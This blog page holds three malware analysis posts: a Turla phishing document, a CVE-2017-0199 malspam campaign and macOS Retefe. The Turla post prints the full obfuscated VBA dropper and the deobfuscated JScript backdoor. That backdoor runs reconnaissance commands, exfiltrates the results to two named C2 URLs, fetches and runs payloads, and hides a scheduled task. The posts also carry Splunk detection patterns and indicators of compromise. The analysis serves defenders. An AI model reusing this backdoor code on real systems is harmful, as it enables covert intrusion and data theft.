Thursday, October 5, 2017

Analysis of a malicious DOC used by Turla APT group; hunting persistence via PowerShell

Yesterday,  John Lambert (@JohnLaTwC), from Microsoft Threat Intelligence Center twitted about some malicious document used by Turla ATP group.  The malicious document was in VT since a few hours before his tweet 

In a daily basis I have to deal with malicious documents delivered by phishing emails so I was interested in understand how this malicious document works, if a new exploit was used, or any new technique. This analysis allows me to create detection use cases.

The doc file mimics the agenda for an event sent from an embassy 

 


Once the macro has been executed, I can see that the process WINWORD.EXE spawns a WScript.exe command.

A use case which monitor any WScript.exe process which has been spawned  by Office would detect this behaviour.  Same would apply for PowerShell or cmd.exe
This generic Use Case would detect lot of common malware which uses Office documents as infection vector.


After some minutes, the script executes several other commands, like for example 'net use' , 'net share' , 'task list', 'ipconfig'', 'netstat', etc, to map the system and the network.
This is also a valid use case to implement. Obviously, this will need some fine tuning depending on the environment, but as an start point can permit the detection of suspicious behaviour.



At a later stage the same script performs some internet connections. Here again, monitoring any script like wscript.exe, cmd.exe or powershell.exe making connections to Internet can provide a lot of meaningful information. (This is already discussed here http://blog.angelalonso.es/2017/08/malspam-campaign-exploiting-cve-2017.html)


So this malicious file would be detected with a generic use cases which monitor properly some processes and connections.

Now, let's take a look to the code to see if I find something interesting.
The VBA macro is ofuscated






Public OBKHLrC3vEDjVL As String
Public B8qen2T433Ds1bW As String
Function Q7JOhn5pIl648L6V43V(EjqtNRKMRiVtiQbSblq67() As Byte, M5wI32R3VF2g5B21EK4d As Long) As Boolean
Dim THQNfU76nlSbtJ5nX8LY6 As Byte
THQNfU76nlSbtJ5nX8LY6 = 45
For i = 0 To M5wI32R3VF2g5B21EK4d - 1
EjqtNRKMRiVtiQbSblq67(i) = EjqtNRKMRiVtiQbSblq67(i) Xor THQNfU76nlSbtJ5nX8LY6
THQNfU76nlSbtJ5nX8LY6 = ((THQNfU76nlSbtJ5nX8LY6 Xor 99) Xor (i Mod 254))
Next i
Q7JOhn5pIl648L6V43V = True
End Function
Sub AutoClose()
On Error Resume Next
Kill OBKHLrC3vEDjVL
On Error Resume Next
Set R7Ks7ug4hRR2weOy7 = CreateObject("Scripting.FileSystemObject")
R7Ks7ug4hRR2weOy7.DeleteFile B8qen2T433Ds1bW & "\*.*", True
Set R7Ks7ug4hRR2weOy7 = Nothing
End Sub
Sub AutoOpen()
On Error GoTo MnOWqnnpKXfRO
Dim NEnrKxf8l511
Dim N18Eoi6OG6T2rNoVl41W As Long
Dim M5wI32R3VF2g5B21EK4d As Long
N18Eoi6OG6T2rNoVl41W = FileLen(ActiveDocument.FullName)
NEnrKxf8l511 = FreeFile
Open (ActiveDocument.FullName) For Binary As #NEnrKxf8l511
Dim E2kvpmR17SI() As Byte
ReDim E2kvpmR17SI(N18Eoi6OG6T2rNoVl41W)
Get #NEnrKxf8l511, 1, E2kvpmR17SI
Dim KqG31PcgwTc2oL47hjd7Oi As String
KqG31PcgwTc2oL47hjd7Oi = StrConv(E2kvpmR17SI, vbUnicode)
Dim N34rtRBIU3yJO2cmMVu, I4j833DS5SFd34L3gwYQD
Dim VUy5oj112fLw51h6S
Set VUy5oj112fLw51h6S = CreateObject("vbscript.regexp")
VUy5oj112fLw51h6S.Pattern = "MxOH8pcrlepD3SRfF5ffVTy86Xe41L2qLnqTd5d5R7Iq87mWGES55fswgG84hIRdX74dlb1SiFOkR1Hh"
Set I4j833DS5SFd34L3gwYQD = VUy5oj112fLw51h6S.Execute(KqG31PcgwTc2oL47hjd7Oi)
Dim Y5t4Ul7o385qK4YDhr
If I4j833DS5SFd34L3gwYQD.Count = 0 Then
GoTo MnOWqnnpKXfRO
End If
For Each N34rtRBIU3yJO2cmMVu In I4j833DS5SFd34L3gwYQD
Y5t4Ul7o385qK4YDhr = N34rtRBIU3yJO2cmMVu.FirstIndex
Exit For
Next
Dim Wk4o3X7x1134j() As Byte
Dim KDXl18qY4rcT As Long
KDXl18qY4rcT = 16827
ReDim Wk4o3X7x1134j(KDXl18qY4rcT)
Get #NEnrKxf8l511, Y5t4Ul7o385qK4YDhr + 81, Wk4o3X7x1134j
If Not Q7JOhn5pIl648L6V43V(Wk4o3X7x1134j(), KDXl18qY4rcT + 1) Then
GoTo MnOWqnnpKXfRO
End If
B8qen2T433Ds1bW = Environ("appdata") & "\Microsoft\Windows"
Set R7Ks7ug4hRR2weOy7 = CreateObject("Scripting.FileSystemObject")
If Not R7Ks7ug4hRR2weOy7.FolderExists(B8qen2T433Ds1bW) Then
B8qen2T433Ds1bW = Environ("appdata")
End If
Set R7Ks7ug4hRR2weOy7 = Nothing
Dim K764B5Ph46Vh
K764B5Ph46Vh = FreeFile
OBKHLrC3vEDjVL = B8qen2T433Ds1bW & "\" & "maintools.js"
Open (OBKHLrC3vEDjVL) For Binary As #K764B5Ph46Vh
Put #K764B5Ph46Vh, 1, Wk4o3X7x1134j
Close #K764B5Ph46Vh
Erase Wk4o3X7x1134j
Set R66BpJMgxXBo2h = CreateObject("WScript.Shell")
R66BpJMgxXBo2h.Run """" + OBKHLrC3vEDjVL + """" + " EzZETcSXyKAdF_e5I2i1" 
ActiveDocument.Save
Exit Sub
MnOWqnnpKXfRO:
Close #K764B5Ph46Vh
ActiveDocument.Save
End Sub

This code, basically creates a JS file C:\Users\user1\AppData\Roaming\Microsoft\Windows\maintools.js and then executes it. However, for the execution to be success it is necessary to use the string  " EzZETcSXyKAdF_e5I2i1"   as parameter.

Moving forward and looking at the JS file C:\Users\user1\AppData\Roaming\Microsoft\Windows\maintools.js I see it is obfuscated





try{var wvy1 = WScript.Arguments;var ssWZ = wvy1(0);var ES3c = y3zb();ES3c = LXv5(ES3c);ES3c = CpPT(ssWZ,ES3c);

eval(ES3c);  

}catch (e)
{WScript.Quit();}function MTvK(CgqD){var XwH7 = CgqD.charCodeAt(0);if (XwH7 === 0x2B || XwH7 === 0x2D) return 62
if (XwH7 === 0x2F || XwH7 === 0x5F) return 63
if (XwH7 < 0x30) return -1
if (XwH7 < 0x30 + 10) return XwH7 - 0x30 + 26 + 26
if (XwH7 < 0x41 + 26) return XwH7 - 0x41
if (XwH7 < 0x61 + 26) return XwH7 - 0x61 + 26
}function LXv5(d27x){var LUK7 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";var i;var j;var n6T8;if (d27x.length % 4 > 0)
return;var CHlB = d27x.length;var V8eR = d27x.charAt(CHlB - 2) === '=' ? 2 : d27x.charAt(CHlB - 1) === '=' ? 1 : 0
var mjqo = new Array(d27x.length * 3 / 4 - V8eR);var z8Ht = V8eR > 0 ? d27x.length - 4 : d27x.length;var t2JG = 0;function XGH6 (b0tQ){mjqo[t2JG++] = b0tQ;}for (i = 0,j = 0; i < z8Ht; i += 4,j += 3){n6T8 = (MTvK(d27x.charAt(i)) << 18) | (MTvK(d27x.charAt(i + 1)) << 12) | (MTvK(d27x.charAt(i + 2)) << 6) | MTvK(d27x.charAt(i + 3));XGH6((n6T8 & 0xFF0000) >> 16)
XGH6((n6T8 & 0xFF00) >> 8)
XGH6(n6T8 & 0xFF)
}if (V8eR === 2){n6T8 = (MTvK(d27x.charAt(i)) << 2) | (MTvK(d27x.charAt(i + 1)) >> 4)
XGH6(n6T8 & 0xFF)
}else if (V8eR === 1){n6T8 = (MTvK(d27x.charAt(i)) << 10) | (MTvK(d27x.charAt(i + 1)) << 4) | (MTvK(d27x.charAt(i + 2)) >> 2)
XGH6((n6T8 >> 8) & 0xFF)
XGH6(n6T8 & 0xFF)
}return mjqo
}function CpPT(bOe3,F5vZ)
{var AWy7 = [];var V2Vl = 0;var qyCq;var mjqo = '';for (var i = 0; i < 256; i++)
{AWy7[i] = i;}for (var i = 0; i < 256; i++)
{V2Vl = (V2Vl + AWy7[i] + bOe3.charCodeAt(i % bOe3.length)) % 256;qyCq = AWy7[i];AWy7[i] = AWy7[V2Vl];AWy7[V2Vl] = qyCq;}var i = 0;var V2Vl = 0;for (var y = 0; y < F5vZ.length; y++)
{i = (i + 1) % 256;V2Vl = (V2Vl + AWy7[i]) % 256;qyCq = AWy7[i];AWy7[i] = AWy7[V2Vl];AWy7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W82/a7KmTodKWpRuzFOdhbQk5f2qoxoroq6iWeIq+4+SRouq9wTH/HQc9FeW+tw4Wa+xtORUlQLgMN8sv62SWjhJ17JRVMHUMe8IxtY//DFKJo/D9/xcZzrRbADVIRm28kPOOFydco3UxzO70ksTl3RLMzrCKydKrTe71FZls2ERLAvQYBj9cSB7eDWCjNv/6hcJMABENLj02vdgMW5dnsOt9FKh0D7uXulh6flIC2pqVnndt68dqxY0jzkehKRY6XTdd0DRQddXeTFRSArcjEfXjJNqJAyKEkmGyffQJm/7G6Hwion0p9zMzXBz8FZ7XPGP//Ip86I2pCT/jof11XLc9flSD1is1DJ5Y+Wbc4/c2p6RyI+j0uvGKNLr4l9wC0NrKMX8iCKeG5ZylaQW+RcWtngvkMwwUpShoRw3x6h7p/M6AHCJWvFkoARrLDIbrO2x8Iwk6l3lI2X5BNxoP27bfzb5v21CM6nV7J54KHXtlM9W76d91P2LpQ/MjUucFvnxAGvNsL6FCYEEhKa4sjCvDoC7q/sO3YoqNxJNLr/4kXtaV+8MEdSlce8lkhdihsCVuK2afaY1tll2S4BN1ZEgN+wiTmE5kuxCnQjDuialITsNqGj07De3e1FPvKJB+5VGutiVP0KhxKzuoOWRMvoFcGbdkGwiKwh87joobedjLanpVYkJkT330eM4Gyx04BlXtRaGKOBqwhxqS2ZQQ9eBfDqXA4jiEMKIlR5UkvD9VPFjqaXs0qpVmADX2axb30pG+Cz5qofmVoH2Wab6ELv9nl0Kb39hUmL6vJpOpuhqoBV/Lp4o/l8dmrbhue4N84o9YPBy/SFieRfjQP5lsrSZWJKNJ5ZSbf06ZO4=";return qGxZ;}

An easy way to view the code a bit cleaner, is to print the code before the eval(ES3c);     with a WScript.Echo(ES3c)





Once done, I run the command with the proper string as I got the code:






function UspD(zDmy)
{var m3mH = WScript.CreateObject("ADODB.Stream")
m3mH.Type = 2;
m3mH.CharSet = '437';
m3mH.Open();
m3mH.LoadFromFile(zDmy);
var c0xi = m3mH.ReadText;
m3mH.Close();
return cz_b(c0xi);
}

var CKpR = new Array ("http://www.saipadiesel124.com/wp-content/plugins/imsanity/tmp.php","http://www.folk-cantabria.com/wp-content/plugins/wp-statistics/includes/classes/gallery_create_page_field.php");
var tpO8 = "w3LxnRSbJcqf8HrU";
var auME = new Array("systeminfo > ","net view >> ","net view /domain >> ","tasklist /v >> ","gpresult /z >> ","netstat -nao >> ","ipconfig /all >> ","arp -a >> ","net share >> ","net use >> ","net user >> ","net user administrator >> ","net user /domain >> ","net user administrator /domain >> ","set  >> ","dir %systemdrive%\x5cUsers\x5c*.* >> ","dir %userprofile%\x5cAppData\x5cRoaming\x5cMicrosoft\x5cWindows\x5cRecent\x5c*.* >> ","dir %userprofile%\x5cDesktop\x5c*.* >> ","tasklist /fi \x22modules eq wow64.dll\x22  >> ","tasklist /fi \x22modules ne wow64.dll\x22 >> ","dir \x22%programfiles(x86)%\x22 >> ","dir \x22%programfiles%\x22 >> ","dir %appdata% >>");
var QUjy = new ActiveXObject("Scripting.FileSystemObject");
var LIxF = WScript.ScriptName;
var w5mY = "";
var ruGx = TfOh();


function hLit(XngP,y1qa)
{char_set = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var Rj3c = "";
var OKpB = "";
for (var i = 0;
 i < XngP.length;
 ++i)
{var B8wU = XngP.charCodeAt(i);
var LUxg = B8wU.toString(2);
while (LUxg.length < (y1qa ? 8 : 16))
LUxg = "0" + LUxg;
OKpB += LUxg;
while (OKpB.length >= 6)
{var vjUu = OKpB.slice(0,6);
OKpB = OKpB.slice(6);
Rj3c += this.char_set.charAt(parseInt(vjUu,2));
}}if (OKpB)
{while (OKpB.length < 6) OKpB += "0";
Rj3c += this.char_set.charAt(parseInt(OKpB,2));
}while (Rj3c.length % (y1qa ? 4 : 8) != 0)
Rj3c += "=";
return Rj3c;
}

var b92A = [];
b92A['C7']   = '80';
b92A['FC']   = '81';
b92A['E9']   = '82';
b92A['E2']   = '83';
b92A['E4']   = '84';
b92A['E0']   = '85';
b92A['E5']   = '86';
b92A['E7']   = '87';
b92A['EA']   = '88';
b92A['EB']   = '89';
b92A['E8']   = '8A';
b92A['EF']   = '8B';
b92A['EE']   = '8C';
b92A['EC']   = '8D';
b92A['C4']   = '8E';
b92A['C5']   = '8F';
b92A['C9']   = '90';
b92A['E6']   = '91';
b92A['C6']   = '92';
b92A['F4']   = '93';
b92A['F6']   = '94';
b92A['F2']   = '95';
b92A['FB']   = '96';
b92A['F9']   = '97';
b92A['FF']   = '98';
b92A['D6']   = '99';
b92A['DC']   = '9A';
b92A['A2']   = '9B';
b92A['A3']   = '9C';
b92A['A5']   = '9D';
b92A['20A7'] = '9E';
b92A['192']  = '9F';
b92A['E1']   = 'A0';
b92A['ED']   = 'A1';
b92A['F3']   = 'A2';
b92A['FA']   = 'A3';
b92A['F1']   = 'A4';
b92A['D1']   = 'A5';
b92A['AA']   = 'A6';
b92A['BA']   = 'A7';
b92A['BF']   = 'A8';
b92A['2310'] = 'A9';
b92A['AC']   = 'AA';
b92A['BD']   = 'AB';
b92A['BC']   = 'AC';
b92A['A1']   = 'AD';
b92A['AB']   = 'AE';
b92A['BB']   = 'AF';
b92A['2591'] = 'B0';
b92A['2592'] = 'B1';
b92A['2593'] = 'B2';
b92A['2502'] = 'B3';
b92A['2524'] = 'B4';
b92A['2561'] = 'B5';
b92A['2562'] = 'B6';
b92A['2556'] = 'B7';
b92A['2555'] = 'B8';
b92A['2563'] = 'B9';
b92A['2551'] = 'BA';
b92A['2557'] = 'BB';
b92A['255D'] = 'BC';
b92A['255C'] = 'BD';
b92A['255B'] = 'BE';
b92A['2510'] = 'BF';
b92A['2514'] = 'C0';
b92A['2534'] = 'C1';
b92A['252C'] = 'C2';
b92A['251C'] = 'C3';
b92A['2500'] = 'C4';
b92A['253C'] = 'C5';
b92A['255E'] = 'C6';
b92A['255F'] = 'C7';
b92A['255A'] = 'C8';
b92A['2554'] = 'C9';
b92A['2569'] = 'CA';
b92A['2566'] = 'CB';
b92A['2560'] = 'CC';
b92A['2550'] = 'CD';
b92A['256C'] = 'CE';
b92A['2567'] = 'CF';
b92A['2568'] = 'D0';
b92A['2564'] = 'D1';
b92A['2565'] = 'D2';
b92A['2559'] = 'D3';
b92A['2558'] = 'D4';
b92A['2552'] = 'D5';
b92A['2553'] = 'D6';
b92A['256B'] = 'D7';
b92A['256A'] = 'D8';
b92A['2518'] = 'D9';
b92A['250C'] = 'DA';
b92A['2588'] = 'DB';
b92A['2584'] = 'DC';
b92A['258C'] = 'DD';
b92A['2590'] = 'DE';
b92A['2580'] = 'DF';
b92A['3B1']  = 'E0';
b92A['DF']   = 'E1';
b92A['393']  = 'E2';
b92A['3C0']  = 'E3';
b92A['3A3']  = 'E4';
b92A['3C3']  = 'E5';
b92A['B5']   = 'E6';
b92A['3C4']  = 'E7';
b92A['3A6']  = 'E8';
b92A['398']  = 'E9';
b92A['3A9']  = 'EA';
b92A['3B4']  = 'EB';
b92A['221E'] = 'EC';
b92A['3C6']  = 'ED';
b92A['3B5']  = 'EE';
b92A['2229'] = 'EF';
b92A['2261'] = 'F0';
b92A['B1']   = 'F1';
b92A['2265'] = 'F2';
b92A['2264'] = 'F3';
b92A['2320'] = 'F4';
b92A['2321'] = 'F5';
b92A['F7']   = 'F6';
b92A['2248'] = 'F7';
b92A['B0']   = 'F8';
b92A['2219'] = 'F9';
b92A['B7']   = 'FA';
b92A['221A'] = 'FB';
b92A['207F'] = 'FC';
b92A['B2']   = 'FD';
b92A['25A0'] = 'FE';
b92A['A0']   = 'FF';


function TfOh()
{var ayuh = Math.ceil(Math.random()*10 + 25);
var name = String.fromCharCode(Math.ceil(Math.random()*24 + 65));
var dc9V = WScript.CreateObject("WScript.Network");
w5mY = dc9V.UserName;
for (var count = 0;
 count <ayuh ;
count++ )
{switch (Math.ceil(Math.random()*3))
  {case 1: 
name = name + Math.ceil(Math.random()*8);
      break;
    case 2:
       name = name + String.fromCharCode(Math.ceil(Math.random()*24 + 97));
      break;
    default:
        name = name + String.fromCharCode(Math.ceil(Math.random()*24 + 65));
      break;
  }}return name;
}

var wyKN = Blgx(bIdG());

try
{var WE86 = bIdG();
rGcR();
jSm8();
}catch(e)
{WScript.Quit();
}



function jSm8()
{var c9lr = Fv6b();
while(true)
{for (var i = 0;
 i < CKpR.length;
 i++)
{var Ysyo = CKpR[i];
var f3cb = XEWG(Ysyo,c9lr);
 
switch (f3cb)
{case "good":    
    break;
  case "exit": WScript.Quit();
    break;
  case "work": XBL3(Ysyo);
    break;
  case "fail": tbMu();
    
    break;
  default:
    break;
}TfOh();
}WScript.Sleep((Math.random()*300 + 3600) * 1000);
}}function bIdG()
{var spq3= this['\u0041\u0063\u0074i\u0076eX\u004F\u0062j\u0065c\u0074'];
var zBVv = new spq3('\u0057\u0053cr\u0069\u0070\u0074\u002E\u0053he\u006C\u006C');
return zBVv;
}function XBL3(B_TG)
{var YIme =  wyKN + LIxF.substring(0,LIxF.length - 2) + "pif";
var Kpxo = new ActiveXObject("MSXML2.XMLHTTP");
Kpxo.OPEN("post",B_TG,false);
Kpxo.SETREQUESTHEADER("user-agent:","Mozilla/5.0 (Windows NT 6.1;
 Win64;
 x64);
 " + Sz8k());
Kpxo.SETREQUESTHEADER("content-type:","application/octet-stream");
Kpxo.SETREQUESTHEADER("content-length:","4");
Kpxo.SEND("work");
if (QUjy.FILEEXISTS(YIme))
{QUjy.DELETEFILE(YIme);
}if (Kpxo.STATUS == 200)
{var m3mH = new ActiveXObject("ADODB.STREAM");
m3mH.TYPE = 1;
m3mH.OPEN();
m3mH.WRITE(Kpxo.responseBody);
m3mH.Position = 0;
m3mH.Type = 2;
m3mH.CharSet = "437";
var c0xi = m3mH.ReadText(m3mH.Size);
var ptF0 = FXx9("2f532d6baec3d0ec7b1f98aed4774843",cz_b(c0xi));
NoRS(ptF0,YIme);
         m3mH.Close();
}var ruGx = TfOh();
c5ae(YIme,B_TG);
WScript.Sleep(30000);
QUjy.DELETEFILE(YIme);
}function tbMu()
{QUjy.DELETEFILE(WScript.SCRIPTFULLNAME);
eV_C("TaskManager","Windows Task Manager",w5mY,v_FileName,"EzZETcSXyKAdF_e5I2i1",wyKN,false);
KhDn("TaskManager");
WScript.Quit();
}function XEWG(uXHK,hm2j)
{try
{var Kpxo = new ActiveXObject("MSXML2.XMLHTTP");
Kpxo.OPEN("post",uXHK,false);
Kpxo.SETREQUESTHEADER("user-agent:","Mozilla/5.0 (Windows NT 6.1;
 Win64;
 x64);
 " + Sz8k());
Kpxo.SETREQUESTHEADER("content-type:","application/octet-stream");
var rRi3 = hLit(hm2j,true);
Kpxo.SETREQUESTHEADER("content-length:",rRi3.length);
Kpxo.SEND(rRi3);
return Kpxo.responseText;
}catch(e)
{return "";
}}function Sz8k()
{var n9mV ="";
var dc9V = WScript.CreateObject("WScript.Network");
var rRi3 = tpO8 + dc9V.ComputerName + w5mY;
for (var i = 0;
 i < 16;
 i++)
{var YsXA = 0
for (var j = i;
 j < rRi3.length - 1;
 j++)
{YsXA = YsXA ^ rRi3.charCodeAt(j);
}YsXA =(YsXA % 10);
n9mV = n9mV + YsXA.toString(10);
}n9mV = n9mV + tpO8;
return n9mV;
}function rGcR() 
{v_FileName =  wyKN + LIxF.substring(0,LIxF.length - 2) + "js";
QUjy.COPYFILE(WScript.ScriptFullName,wyKN + LIxF);
var HFp7 = (Math.random()*150 + 350) * 1000;
WScript.Sleep(HFp7);
eV_C("TaskManager","Windows Task Manager",w5mY,v_FileName,"EzZETcSXyKAdF_e5I2i1",wyKN,true);
}function Fv6b()
{var m_Rr =  wyKN + "~dat.tmp";
for (var i = 0;
 i < auME.length;
 i++)
{WE86.Run("cmd.exe /c " + auME[i] + "\x22" + m_Rr + "\x22",0,true);
 
}var nRVN = UspD(m_Rr);
WScript.Sleep(1000);
QUjy.DELETEFILE(m_Rr);
return FXx9("2f532d6baec3d0ec7b1f98aed4774843",nRVN);
}function c5ae(YIme,B_TG)
{try
{if (QUjy.FILEEXISTS(YIme))
{WE86.Run("\x22" + YIme + "\x22" );
}}catch(e)
{var Kpxo = new ActiveXObject("MSXML2.XMLHTTP");
Kpxo.OPEN("post",B_TG,false);
var ePMy = "error";
 
Kpxo.SETREQUESTHEADER("user-agent:","Mozilla/5.0 (Windows NT 6.1;
 Win64;
 x64);
 " + Sz8k());
Kpxo.SETREQUESTHEADER("content-type:","application/octet-stream");
Kpxo.SETREQUESTHEADER("content-length:",ePMy.length);
Kpxo.SEND(ePMy);
return "";
}}function RPbY(r_X5)
{var w8rG="0123456789ABCDEF";
var yjrw = w8rG.substr(r_X5 & 15,1);
while(r_X5>15)
{r_X5 >>>= 4;
yjrw = w8rG.substr(r_X5 & 15,1) + yjrw;
}return yjrw;
}function NptO(jlEi)
{return parseInt(jlEi,16);
}function eV_C(Bjmr,RT6x,O7Ec,YBwP,T9Px,egNr,rmGH)
{try
{var BGfI = WScript.CreateObject("Schedule.Service");
BGfI.Connect();
var w2cQ = BGfI.GetFolder("WPD");
var xSm3 = BGfI.NewTask(0);
xSm3.Principal.UserId = O7Ec;
xSm3.Principal.LogonType = 6;
var wK2F = xSm3.RegistrationInfo;
wK2F.Description = RT6x;
wK2F.Author = O7Ec;
var aYbx = xSm3.Settings;
aYbx.Enabled = true;
aYbx.StartWhenAvailable = true;
aYbx.Hidden = rmGH;
var oSP7 = "2015-07-12T11:47:24";
var svaG = "2020-03-21T08:00:00";
var LDoN = xSm3.Triggers;
var r9EC = LDoN.Create(9);
r9EC.StartBoundary = oSP7;
r9EC.EndBoundary = svaG;
r9EC.Id = "LogonTriggerId";
r9EC.UserId = O7Ec;
r9EC.Enabled = true;
var gQu9 = xSm3.Actions.Create(0);
gQu9.Path = YBwP;
gQu9.Arguments = T9Px;
gQu9.WorkingDirectory = egNr;
w2cQ.RegisterTaskDefinition(Bjmr,xSm3,6,"","",3);
return true;
}catch(Err) 
{return false;
}}function KhDn(Bjmr)
{try
{var UGgw = false;
var BGfI = WScript.CreateObject("Schedule.Service");
BGfI.Connect()


var w2cQ = BGfI.GetFolder("WPD");
var FLs6 = w2cQ.GetTasks(0);
if (FLs6.count >= 0) 
{var gk1H = new Enumerator(FLs6);
for (;
 !gk1H.atEnd();
 gk1H.moveNext())
{if (gk1H.item().name == Bjmr)
{w2cQ.DeleteTask(Bjmr,0);
UGgw = true;
}}}}catch(Err)
{return false;
}}function cz_b(S3Ws)
{var n9mV = [];
var mvAu = S3Ws.length;
for (var i = 0;
 i < mvAu;
 i++)
{var wtVX = S3Ws.charCodeAt(i);
if(wtVX >= 128)
{var h = b92A['' + RPbY(wtVX)];
wtVX = NptO(h);
}n9mV.push(wtVX);
}return n9mV;
}function NoRS(ExY2,igeK)
{var m3mH = WScript.CreateObject("ADODB.Stream");
m3mH.type = 2;
m3mH.Charset = "iso-8859-1";
m3mH.Open();
m3mH.WriteText(ExY2);
m3mH.Flush();
m3mH.Position = 0;
m3mH.SaveToFile(igeK,2);
m3mH.close();
}function Blgx(gaWo)
{wyKN = "c:\x5cUsers\x5c" + w5mY + "\x5cAppData\x5cLocal\x5cMicrosoft\x5cWindows\x5c";
if (! QUjy.FOLDEREXISTS(wyKN)) 
wyKN = "c:\x5cUsers\x5c" + w5mY + "\x5cAppData\x5cLocal\x5cTemp\x5c";
if (! QUjy.FOLDEREXISTS(wyKN)) 
wyKN = "c:\x5cDocuments and Settings\x5c" + w5mY + "\x5cApplication Data\x5cMicrosoft\x5cWindows\x5c";
return wyKN
}function FXx9(Z_3F,VMd7)
{var NNSX = [];
var JDro = 0;
var KagY;
var n9mV = '';
for (var i = 0;
 i < 256;
 i++)
{NNSX[i] = i;
}for (var i = 0;
 i < 256;
 i++)
{JDro = (JDro + NNSX[i] + Z_3F.charCodeAt(i % Z_3F.length)) % 256;
KagY = NNSX[i];
NNSX[i] = NNSX[JDro];
NNSX[JDro] = KagY;
}var i = 0;
var JDro = 0;
for (var y = 0;
 y < VMd7.length;
 y++)
{i = (i + 1) % 256;
JDro = (JDro + NNSX[i]) % 256;
KagY = NNSX[i];
NNSX[i] = NNSX[JDro];
NNSX[JDro] = KagY;
n9mV += String.fromCharCode(VMd7[y] ^ NNSX[(NNSX[i] + NNSX[JDro]) % 256]);
}return n9mV;
}

In the 'clean' code it is possible to see the URL for the second stage payload, which at the time of this analysis did not work anymore

"http://www.saipadiesel124.com/wp-content/plugins/imsanity/tmp.php",
"http://www.folk-cantabria.com/wp-content/plugins/wp-statistics/includes/classes/gallery_create_page_field.php


Additionally, the list of commands to map the system are in the code:

systeminfo > ","net view >> ","net view /domain >> ","tasklist /v >> ","gpresult /z >> ","netstat -nao >> ","ipconfig /all >> ","arp -a >> ","net share >> ","net use >> ","net user >> ","net user administrator >> ","net user /domain >> ","net user administrator /domain >> ","set  >> ","dir %systemdrive%\x5cUsers\x5c*.* >> ","dir %userprofile%\x5cAppData\x5cRoaming\x5cMicrosoft\x5cWindows\x5cRecent\x5c*.* >> ","dir %userprofile%\x5cDesktop\x5c*.* >> ","tasklist /fi \x22modules eq wow64.dll\x22  >> ","tasklist /fi \x22modules ne wow64.dll\x22 >> ","dir \x22%programfiles(x86)%\x22 >> ","dir \x22%programfiles%\x22 >> ","dir %appdata% >>");

 But the most interesting part is how the persistence is done, via a schedule Service (schedule task).




A schedule task with name "TaskManager" under a folder WPD is created.
This task executes when the user logs in and calls the JS code  c:\Users\user1\AppData\Local\Microsoft\Windows\maintools.js EzZETcSXyKAdF_e5I2i1.

With the Schedule Task tool from Windows, it is possible to spot it



A way to check it via the CMD line is dumping all the schedule tasks and exporting to a file. For example, with a command like this: 

schtasks /query /fo csv /v  > output.csv

Which permits to see the full schedule task:


"PC-DEV","\WPD\TaskManager","N/A","Ready","Interactive only","N/A","1","user1","c:\Users\user1\AppData\Local\Microsoft\Windows\maintools.js EzZETcSXyKAdF_e5I2i1","c:\Users\user1\AppData\Local\Microsoft\Windows\","Windows Task Manager","Enabled","Disabled","Stop On Battery Mode, No Start On Batteries","user1","Enabled","72:00:00","Scheduling data is not available in this format.","At logon time","N/A","N/A","N/A","N/A","N/A","N/A","N/A","N/A","N/A"


In a corporate environment, it is possible to search for that artifact via a query with PowerShell. For example, something  like this would make the work:

 Invoke-Command -ComputerName COMPUTERNAME -ScriptBlock {schtasks /query /fo csv /v | findstr /i maintools}  -credential  USER







Sunday, August 27, 2017

Malspam campaign exploiting CVE-2017-0199: a hunting approach

In the last days I have seen a few malspam emails with RTF files attached.

The content of the mails is fake Shipping order with a ZIP attachment, containing the malicious RTF file.  An example of this file is  https://virustotal.com/#/file/cc1cca6b713f6ab0ddb81639b64e52f12a9875ab1e08034d5722826aef4b3164/detection

This malicious RTF files exploits CVE-2017-0199

PowerShell is used by this campaign, hence monitoring suspicious executed PowerShell commands would detect it. I wrote a bit about this approach here.

In this case, monitoring all HTTP/s connections opened by PowerShell would detect it


index=main powershell "tag::eventtype"=network 
| table _time  process DestinationHostname DestinationIp DestinationPort 


Or any PowerShell command with suspicious parameters, like for example with the following Splunk query:

index=main  Powershell  | regex CommandLine="(?i).*-en|-e|-encoded|
hidden|download|webclient|invoke-expression|new-object|base64|
createobject|uploadfile.*" | table _time ParentCommandLine CommandLine 

Coming back to the initial RTF file,  the PowerShell command executed is as follow:



Which basically acts a dropper for hxxps://www.iso9001-certificare.ro/a/Seal_Encrypted.exe. The malicious file is in VT.             

However, the Use Cases mentioned above are generic Use Cases to detect suspicious Powershell commands, and I am interested in detecting this specific CVE-2017-0199 exploitation scenario.

During the attack phase Winword.exe retrieves a malicious HTA file from a remote server via HTTPs. With this in mind, we can create a search in Splunk to detect any ".hta" file stored  as a temporal internet file in the user "AppData" directory and created by Winword.exe

For example, a query like this does the job:


index=main EventDescription="File Created" Image="*Winword*" 
TargetFilename="*AppData*\.hta" | table Image TargetFilename



The file retrieve in this case is hxxps://www.iso9001-certificare.ro/a/12.hta





I have uploaded a copy of the file here https://virustotal.com/#/file/e6bf9b7fbf30e2ba8bc2c6c0ee117f6cbb604b25fb0b4be24a3fb3e062987b3d/community

Another approach is to hunt for any PowerShell command process with Parent Process mshta.exe


index=main  ParentImage="*mshta.exe" CommandLine=*powershell* 
| table _time ParentCommandLine CommandLine 




Indicators:

www.iso9001-certificare.ro
www.iso9001-certificare.ro/a/12.hta
ww.iso9001-certificare.ro/a/Seal_Encrypted.exe
aea9347409f465a5d9665f868c5258c6 - 12.hta
1db41de874e3539762ea7ea3b416de2d - Po-096.doc
ff61db305ab6f924451cdbe51c66ba1e - Po-096.zip
c1e4f507f85420ad116acf521dc241c6 - drgtgrt.exe



Monday, May 29, 2017

Retefe hitting MacOSX - Some interesting points

A few weeks ago Checkpoint posted about a malware in MacOSX OSX/Dok which it is the version of Retefe ported to Mac OS.

Most of the technical aspects of this specimen behaviour are described in the blog post referenced above, however there are some other interesting points I would like to highlight.

In order to install some of the tools used by the malware, like Tor, the malware requieres to gather some packets from homebrew, and this requieres Xcode to be installed, hence both of them are installed. 











It is possible to see the set of processes launched to install the different dependencies, and how some of the tools are installed from git.

 

Other than that, the configuration of the proxy to use the Tor node can be easily spot as it modifies the file  /Library/Preferences/SystemConfiguration/preferences.plist



Regarding the persistence of the malware, and for the specific sample with hassh 07b67d95176fb35e70c38561c8d67987, this is done by creating the file /Users/labtest/Library/LaunchAgents/homebrew.mxcl.tor.plist which launches the Tor process once the user (in this case labtest) logs into the system.

Also it is very easy to spot this process through the logs:

...
May 28 09:37:05 --- last message repeated 6 times ---
